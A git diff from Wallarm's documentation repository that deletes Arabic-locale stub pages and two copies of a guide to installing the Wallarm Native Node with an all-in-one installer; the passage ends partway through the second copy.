../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md" diff --git a/docs/ar/installation/inline/kubernetes/nginx-ingress-controller.md b/docs/ar/installation/inline/kubernetes/nginx-ingress-controller.md deleted file mode 100644 index 28104cc04a..0000000000 --- a/docs/ar/installation/inline/kubernetes/nginx-ingress-controller.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -search: - exclude: true ---- - -[ip-list-docs]: ../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[nginx-ing-image]: ../../../images/waf-installation/kubernetes/nginx-ingress-controller.png -[nginx-ing-create-node-img]: ../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[application-docs]: ../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[configure-nginx-ing-controller-docs]: ../../../admin-en/configure-kubernetes-en.md -[controllerwallarmexistingsecret-docs]: ../../../admin-en/configure-kubernetes-en.md#controllerwallarmexistingsecret -[best-practices-for-public-ip]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md -[best-practices-for-high-availability]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md -[best-practices-for-ingress-monitoring]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation#api-and-node-tokens-for-node-creation -[chaining-doc]: ../../../admin-en/chaining-wallarm-and-other-ingress-controllers.md - ---8<-- "latest-ar/admin-en/installation-kubernetes-en.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/kubernetes/sidecar-proxy/customization.md b/docs/ar/installation/inline/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 4cc30d8ea0..0000000000 --- a/docs/ar/installation/inline/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -search: - exclude: true ---- - -[single-split-containers-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/single-split-deployment.png -[port-forwarding-with-iptables-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-with-iptables.png -[port-forwarding-without-iptables-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-without-iptables.png -[allocate-resources-for-node-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[disable-acl-directive-docs]: ../../../../admin-en/configure-parameters-en.md#disable_acl -[wallarm-attack-prevention-best-practices-docs]: ../../../../quickstart/attack-prevention-best-practices.md - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/customization.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/kubernetes/sidecar-proxy/deployment.md b/docs/ar/installation/inline/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index 6415fed17c..0000000000 --- a/docs/ar/installation/inline/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -search: - exclude: true ---- - -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[sidecar-deployment-objects-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/deployment-objects.png -[nginx-ing-controller-docs]: ../../../../admin-en/installation-kubernetes-en.md -[kong-ing-controller-docs]: ../../../connectors/kong-api-gateway.md -[traffic-flow-with-wallarm-sidecar-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/traffic-flow-with-wallarm.png -[create-wallarm-node-img]: ../../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[node-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[cred-stuffing-docs]: ../../../../about-wallarm/credential-stuffing.md - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/deployment.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/ar/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index 85f8030d37..0000000000 --- a/docs/ar/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -search: - exclude: true ---- - -[sidecar-upgrade-docs]: ../../../../updating-migrating/sidecar-proxy.md -[us-cloud-docs]: ../../../../about-wallarm/overview.md#us-cloud -[eu-cloud-docs]: ../../../../about-wallarm/overview.md#eu-cloud -[configure-wallarm-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[filtration-mode-priorities-docs]: ../../../../admin-en/configure-wallarm-mode.md#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override -[libdetection-docs]: ../../../../about-wallarm/protecting-against-attacks.md#libdetection-overview -[passive-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[subscriptions-docs]: ../../../../about-wallarm/subscription-plans.md#subscription-plans -[active-threat-verification-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification -[node-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[denylist-docs]: ../../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md b/docs/ar/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 7ad81d65b1..0000000000 --- a/docs/ar/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[filtration-mode-priorities-docs]: ../../../../admin-en/configure-wallarm-mode.md#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override -[applications-docs]: ../../../../user-guides/settings/applications.md -[custom-blocking-page-docs]: ../../../../admin-en/configuration-guides/configure-block-page-and-code.md -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[fallback-mode-docs]: ../../../../admin-en/configure-parameters-en.md#wallarm_fallback -[parsers-docs]: ../../../../user-guides/rules/request-processing.md -[libdetection-docs]: ../../../../about-wallarm/protecting-against-attacks.md#libdetection-overview -[wallarm-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[passive-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[active-threat-verification-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification -[subscriptions-docs]: ../../../../about-wallarm/subscription-plans.md#subscription-plans -[denylist-docs]: ../../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/pod-annotations.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/kubernetes/sidecar-proxy/scaling.md b/docs/ar/installation/inline/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index c7e1ff936b..0000000000 --- a/docs/ar/installation/inline/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -search: - exclude: true ---- - -[sidecar-docs]: deployment.md -[sidecar-arch-docs]: deployment.md#solution-architecture -[sidecar-conf-area]: customization.md#configuration-area -[tarantool-memory-recommendations]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md#tarantool -[single-split-deployment]: customization.md#single-and-split-deployment-of-containers - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/scaling.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/overview.md b/docs/ar/installation/inline/overview.md deleted file mode 100644 index e894e4d6df..0000000000 --- a/docs/ar/installation/inline/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/inline/overview.md" \ No newline at end of file diff --git a/docs/ar/installation/kubernetes/ebpf/deployment.md b/docs/ar/installation/kubernetes/ebpf/deployment.md deleted file mode 100644 index ecf1a0406b..0000000000 --- a/docs/ar/installation/kubernetes/ebpf/deployment.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/oob/ebpf/deployment.md" \ No newline at end of file diff --git a/docs/ar/installation/kubernetes/ebpf/helm-chart-for-wallarm.md b/docs/ar/installation/kubernetes/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index 57bcdae235..0000000000 --- a/docs/ar/installation/kubernetes/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/oob/ebpf/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/ar/installation/kubernetes/ebpf/selecting-packets.md b/docs/ar/installation/kubernetes/ebpf/selecting-packets.md deleted file mode 100644 index 30623d6c4a..0000000000 --- a/docs/ar/installation/kubernetes/ebpf/selecting-packets.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/oob/ebpf/selecting-packets.md" \ No newline at end of file diff --git a/docs/ar/installation/kubernetes/sidecar-proxy/customization.md b/docs/ar/installation/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 9d923ccb57..0000000000 --- a/docs/ar/installation/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,8 +0,0 @@ -[single-split-containers-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/single-split-deployment.png -[port-forwarding-with-iptables-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-with-iptables.png -[port-forwarding-without-iptables-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-without-iptables.png -[allocate-resources-for-node-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[disable-acl-directive-docs]: ../../../admin-en/configure-parameters-en.md#disable_acl -[wallarm-attack-prevention-best-practices-docs]: ../../../quickstart/attack-prevention-best-practices.md - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/customization.md" \ No newline at end of file diff --git a/docs/ar/installation/kubernetes/sidecar-proxy/deployment.md b/docs/ar/installation/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index f3d17fab4f..0000000000 --- a/docs/ar/installation/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,14 +0,0 @@ -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[sidecar-deployment-objects-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/deployment-objects.png -[nginx-ing-controller-docs]: ../../../admin-en/installation-kubernetes-en.md -[kong-ing-controller-docs]: ../../connectors/kong-api-gateway.md -[traffic-flow-with-wallarm-sidecar-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/traffic-flow-with-wallarm.png -[create-wallarm-node-img]: ../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../../admin-en/configure-wallarm-mode.md -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[cred-stuffing-docs]: ../../../about-wallarm/credential-stuffing.md - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/deployment.md" \ No newline at end of file diff --git a/docs/ar/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/ar/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index b3e0563ada..0000000000 --- a/docs/ar/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,14 +0,0 @@ -[sidecar-upgrade-docs]: ../../../updating-migrating/sidecar-proxy.md -[us-cloud-docs]: ../../../about-wallarm/overview.md#us-cloud -[eu-cloud-docs]: ../../../about-wallarm/overview.md#eu-cloud -[configure-wallarm-mode-docs]: ../../../admin-en/configure-wallarm-mode.md -[filtration-mode-priorities-docs]: ../../../admin-en/configure-wallarm-mode.md#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override -[libdetection-docs]: ../../../about-wallarm/protecting-against-attacks.md#libdetection-overview -[passive-detection-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[subscriptions-docs]: ../../../about-wallarm/subscription-plans.md#subscription-plans -[active-threat-verification-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[denylist-docs]: ../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/ar/installation/kubernetes/sidecar-proxy/pod-annotations.md b/docs/ar/installation/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 24ba9926f6..0000000000 --- a/docs/ar/installation/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,15 +0,0 @@ -[filtration-mode-priorities-docs]: ../../../admin-en/configure-wallarm-mode.md#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override -[applications-docs]: ../../../user-guides/settings/applications.md -[custom-blocking-page-docs]: ../../../admin-en/configuration-guides/configure-block-page-and-code.md -[nginx-directives-docs]: ../../../admin-en/configure-parameters-en.md -[fallback-mode-docs]: ../../../admin-en/configure-parameters-en.md#wallarm_fallback -[parsers-docs]: ../../../user-guides/rules/request-processing.md -[libdetection-docs]: ../../../about-wallarm/protecting-against-attacks.md#libdetection-overview -[wallarm-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[passive-detection-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[active-threat-verification-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification -[subscriptions-docs]: ../../../about-wallarm/subscription-plans.md#subscription-plans -[denylist-docs]: ../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/pod-annotations.md" \ No newline at end of file diff --git a/docs/ar/installation/kubernetes/sidecar-proxy/scaling.md b/docs/ar/installation/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index 3a4e54ffdd..0000000000 --- a/docs/ar/installation/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,7 +0,0 @@ -[sidecar-docs]: deployment.md -[sidecar-arch-docs]: deployment.md#solution-architecture -[sidecar-conf-area]: customization.md#configuration-area -[tarantool-memory-recommendations]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md#tarantool -[single-split-deployment]: customization.md#single-and-split-deployment-of-containers - ---8<-- "latest-ar/installation/kubernetes/sidecar-proxy/scaling.md" \ No newline at end of file diff --git a/docs/ar/installation/multi-tenant/configure-accounts.md b/docs/ar/installation/multi-tenant/configure-accounts.md deleted file mode 100644 index beadab8ea6..0000000000 --- a/docs/ar/installation/multi-tenant/configure-accounts.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/multi-tenant/configure-accounts.md" \ No newline at end of file diff --git a/docs/ar/installation/multi-tenant/deploy-multi-tenant-node.md b/docs/ar/installation/multi-tenant/deploy-multi-tenant-node.md deleted file mode 100644 index 065b831492..0000000000 --- a/docs/ar/installation/multi-tenant/deploy-multi-tenant-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/multi-tenant/deploy-multi-tenant-node.md" \ No newline at end of file diff --git a/docs/ar/installation/multi-tenant/overview.md b/docs/ar/installation/multi-tenant/overview.md deleted file mode 100644 index d0351449be..0000000000 --- a/docs/ar/installation/multi-tenant/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/multi-tenant/overview.md" \ No newline at end of file diff --git a/docs/ar/installation/native-node/all-in-one-conf.md b/docs/ar/installation/native-node/all-in-one-conf.md deleted file mode 100644 index ac299838a1..0000000000 --- a/docs/ar/installation/native-node/all-in-one-conf.md +++ /dev/null @@ -1,246 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md - -# Deploying the Native Node with All-in-One Installer - -The [Wallarm Native Node](../nginx-native-node-internals.md), which operates independently of NGINX, is designed for Wallarm connector self-hosted deployment and TCP traffic mirror analysis. You can run the Native Node on a virtual machine with a Linux OS using the all-in-one installer. - -## Use cases and deployment modes - -* When deploying a Wallarm node as part of a connector solution for [MuleSoft](../connectors/mulesoft.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md) on a self-hosted Linux OS machine. - - Use the installer in `connector-server` mode. -* When you need a security solution for [TCP traffic mirror analysis](../oob/tcp-traffic-mirror/deployment.md). - - Use the installer in `tcp-capture` mode. - -## Requirements - -The machine intended for running the Native Node with the all-in-one installer must meet the following criteria: - -* Linux OS. -* x86_64/ARM64 architecture. -* Executing all commands as a superuser (e.g. `root`). -* Outbound access to: - - * `https://meganode.wallarm.com` to download the Wallarm installer - * `https://us1.api.wallarm.com` or `https://api.wallarm.com` for US/EU Wallarm Cloud - * IP addresses below for downloading updates to attack detection rules and [API specifications][api-spec-enforcement-docs], as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted][ip-list-docs] countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* When running the node in the `connector-server` mode, a **trusted** SSL/TLS certificate for the machine's domain should be issued and uploaded to the machine along with the private key. -* When running the node in the `tcp-capture` mode: - - * Traffic and response mirroring must be configured with both source and target set up, and the prepared instance chosen as a mirror target. Specific environment requirements must be met, such as allowing specific protocols for traffic mirroring configurations. - * Mirrored traffic is tagged with either VLAN (802.1q), VXLAN, or SPAN. -* In addition to the above, you should have the **Administrator** role assigned in Wallarm Console. - -## Limitations - -* When using the all-in-one installer in `connector-server` mode, a **trusted** SSL/TLS certificate is required for the machine's domain. Self-signed certificates are not yet supported. -* [Custom blocking page and blocking code](../../admin-en/configuration-guides/configure-block-page-and-code.md) configurations are not yet supported. -* [Rate limiting](../../user-guides/rules/rate-limiting.md) by the Wallarm rule is not supported. -* [Multitenancy](../multi-tenant/overview.md) is not supported yet. - -## Installation - -### 1. Prepare Wallarm token - -To install node, you will need a token for registering the node in the Wallarm Cloud. To prepare a token: - -1. Open Wallarm Console → **Settings** → **API tokens** in the [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) or [EU Cloud](https://my.wallarm.com/settings/api-tokens). -1. Find or create API token with the `Node deployment/Deployment` usage type. -1. Copy this token. - -### 2. Download Wallarm installer - -Download Wallarm installation script and make it executable: - -=== "x86_64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.x86_64.sh - chmod +x aio-native-0.12.0.x86_64.sh - ``` -=== "ARM64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.aarch64.sh - chmod +x aio-native-0.12.0.aarch64.sh - ``` - -### 3. Prepare the configuration file - -Create the `wallarm-node-conf.yaml` file on the machine with the following minimal configuration: - -=== "connector-server" - ```yaml - version: 2 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - ``` - - In the `connector.tls_cert` and `connector.tls_key`, you specify the paths to a **trusted** certificate and private key issued for the machine's domain. -=== "tcp-capture" - ```yaml - version: 3 - - mode: tcp-capture - - goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan - ``` - - In the `goreplay.filter` parameter, you specify the network interface to capture traffic from. To check network interfaces available on the host: - - ``` - ip addr show - ``` - -[All configuration parameters](all-in-one-conf.md) - -### 4. Run the installer - -=== "connector-server" - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` -=== "tcp-capture" - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - -* The `WALLARM_LABELS` variable sets group into which the node will be added (used for logical grouping of nodes in the Wallarm Console UI). -* `` specifies the generated API token for the `Deploy` role. -* `` specifies the path to the configuration file prepared before. - -The provided configuration file will be copied to the path: `/opt/wallarm/etc/wallarm/go-node.yaml`. - -If needed, you can change the copied file after the installation is finished. To apply the changes, you will need to restart the Wallarm service with `sudo systemctl restart wallarm`. - -### 5. Finish the installation - -=== "connector-server" - After deploying the node, the next step is to apply the Wallarm code to your API management platform or service in order to route traffic to the deployed node. - - 1. Contact sales@wallarm.com to obtain the Wallarm code bundle for your connector. - 1. Follow the platform-specific instructions to apply the bundle on your API management platform: - - * [MuleSoft](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) -=== "tcp-capture" - [Proceed to the deployment testing](../oob/tcp-traffic-mirror/deployment.md#step-5-test-the-solution). - -## Verifying the node operation - -To verify the node is detecting traffic, you can check the logs: - -* The Native Node logs are written to `/opt/wallarm/var/log/wallarm/go-node.log` by default. -* [Standard logs](../../admin-en/configure-logging.md) of the filtering node such as whether the data is sent to the Wallarm Cloud, detected attacks, etc. are located in the directory `/opt/wallarm/var/log/wallarm`. - -For additional debugging, set the [`log.level`](all-in-one-conf.md#loglevel) parameter to `debug`. - -## Installer launch options - -* As soon as you have the all-in one script downloaded, you can get **help** on it with: - - === "x86_64 version" - ``` - sudo ./aio-native-0.12.0.x86_64.sh -- --help - ``` - === "ARM64 version" - ``` - sudo ./aio-native-0.12.0.aarch64.sh -- --help - ``` -* You can also run the installer in an **interactive** mode and choose the required mode in the 1st step: - - === "x86_64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh - ``` - === "ARM64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh - ``` -* You can use the node in API Discovery-only mode (available since version 0.12.0). In this mode, attacks - including those detected by the Node's built-in mechanisms and those requiring additional configuration (e.g., credential stuffing, API specification violation attempts, and malicious activity from denylisted and graylisted IPs) - are detected and blocked locally (if enabled) but not exported to Wallarm Cloud. Since there is no attack data in the Cloud, [Threat Replay Testing](../../vulnerability-detection/threat-replay-testing/overview.md) does not work. Traffic from whitelisted IPs is allowed. - - Meanwhile, [API Discovery](../../api-discovery/overview.md) and [security vulnerability detection](../../about-wallarm/detecting-vulnerabilities.md) remain fully functional, detecting relevant security entities and uploading them to the Cloud for visualization. - - This mode is for those who want to review their API inventory and identify sensitive data first, and plan controlled attack data export accordingly. However, disabling attack export is rare, as Wallarm securely processes attack data and provides [sensitive attack data masking](../../user-guides/rules/sensitive-data-rule.md) if needed. - - To enable API Discovery-only mode: - - 1. Create or modify the `/etc/wallarm-override/env.list` file: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Add the following variable: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. Follow the [node installation procedure](#installation). - - With the API Discovery-only mode enabled, the `/opt/wallarm/var/log/wallarm/wcli-out.log` log returns the following message: - - ```json - {"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} - ``` - -## Upgrade and reinstallation - -* To upgrade the node, follow the [instructions](../../updating-migrating/native-node/all-in-one.md). -* If there is a problem with the upgrade or reinstallation process: - - 1. Remove the current installation: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. Install the node as usual following the installation steps from above. diff --git a/docs/ar/installation/native-node/all-in-one.md b/docs/ar/installation/native-node/all-in-one.md deleted file mode 100644 index ac299838a1..0000000000 --- a/docs/ar/installation/native-node/all-in-one.md +++ /dev/null @@ -1,246 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md - -# Deploying the Native Node with All-in-One Installer - -The [Wallarm Native Node](../nginx-native-node-internals.md), which operates independently of NGINX, is designed for Wallarm connector self-hosted deployment and TCP traffic mirror analysis. You can run the Native Node on a virtual machine with a Linux OS using the all-in-one installer. - -## Use cases and deployment modes - -* When deploying a Wallarm node as part of a connector solution for [MuleSoft](../connectors/mulesoft.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md) on a self-hosted Linux OS machine. - - Use the installer in `connector-server` mode. -* When you need a security solution for [TCP traffic mirror analysis](../oob/tcp-traffic-mirror/deployment.md). - - Use the installer in `tcp-capture` mode. - -## Requirements - -The machine intended for running the Native Node with the all-in-one installer must meet the following criteria: - -* Linux OS. -* x86_64/ARM64 architecture. -* Executing all commands as a superuser (e.g. `root`). -* Outbound access to: - - * `https://meganode.wallarm.com` to download the Wallarm installer - * `https://us1.api.wallarm.com` or `https://api.wallarm.com` for US/EU Wallarm Cloud - * IP addresses below for downloading updates to attack detection rules and [API specifications][api-spec-enforcement-docs], as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted][ip-list-docs] countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* When running the node in the `connector-server` mode, a **trusted** SSL/TLS certificate for the machine's domain should be issued and uploaded to the machine along with the private key. -* When running the node in the `tcp-capture` mode: - - * Traffic and response mirroring must be configured with both source and target set up, and the prepared instance chosen as a mirror target. Specific environment requirements must be met, such as allowing specific protocols for traffic mirroring configurations. - * Mirrored traffic is tagged with either VLAN (802.1q), VXLAN, or SPAN. -* In addition to the above, you should have the **Administrator** role assigned in Wallarm Console. - -## Limitations - -* When using the all-in-one installer in `connector-server` mode, a **trusted** SSL/TLS certificate is required for the machine's domain. Self-signed certificates are not yet supported. -* [Custom blocking page and blocking code](../../admin-en/configuration-guides/configure-block-page-and-code.md) configurations are not yet supported. -* [Rate limiting](../../user-guides/rules/rate-limiting.md) by the Wallarm rule is not supported. -* [Multitenancy](../multi-tenant/overview.md) is not supported yet. - -## Installation - -### 1. Prepare Wallarm token - -To install node, you will need a token for registering the node in the Wallarm Cloud. To prepare a token: - -1. Open Wallarm Console → **Settings** → **API tokens** in the [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) or [EU Cloud](https://my.wallarm.com/settings/api-tokens). -1. Find or create API token with the `Node deployment/Deployment` usage type. -1. Copy this token. - -### 2. Download Wallarm installer - -Download Wallarm installation script and make it executable: - -=== "x86_64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.x86_64.sh - chmod +x aio-native-0.12.0.x86_64.sh - ``` -=== "ARM64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.aarch64.sh - chmod +x aio-native-0.12.0.aarch64.sh - ``` - -### 3. Prepare the configuration file - -Create the `wallarm-node-conf.yaml` file on the machine with the following minimal configuration: - -=== "connector-server" - ```yaml - version: 2 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - ``` - - In the `connector.tls_cert` and `connector.tls_key`, you specify the paths to a **trusted** certificate and private key issued for the machine's domain. -=== "tcp-capture" - ```yaml - version: 3 - - mode: tcp-capture - - goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan - ``` - - In the `goreplay.filter` parameter, you specify the network interface to capture traffic from. To check network interfaces available on the host: - - ``` - ip addr show - ``` - -[All configuration parameters](all-in-one-conf.md) - -### 4. Run the installer - 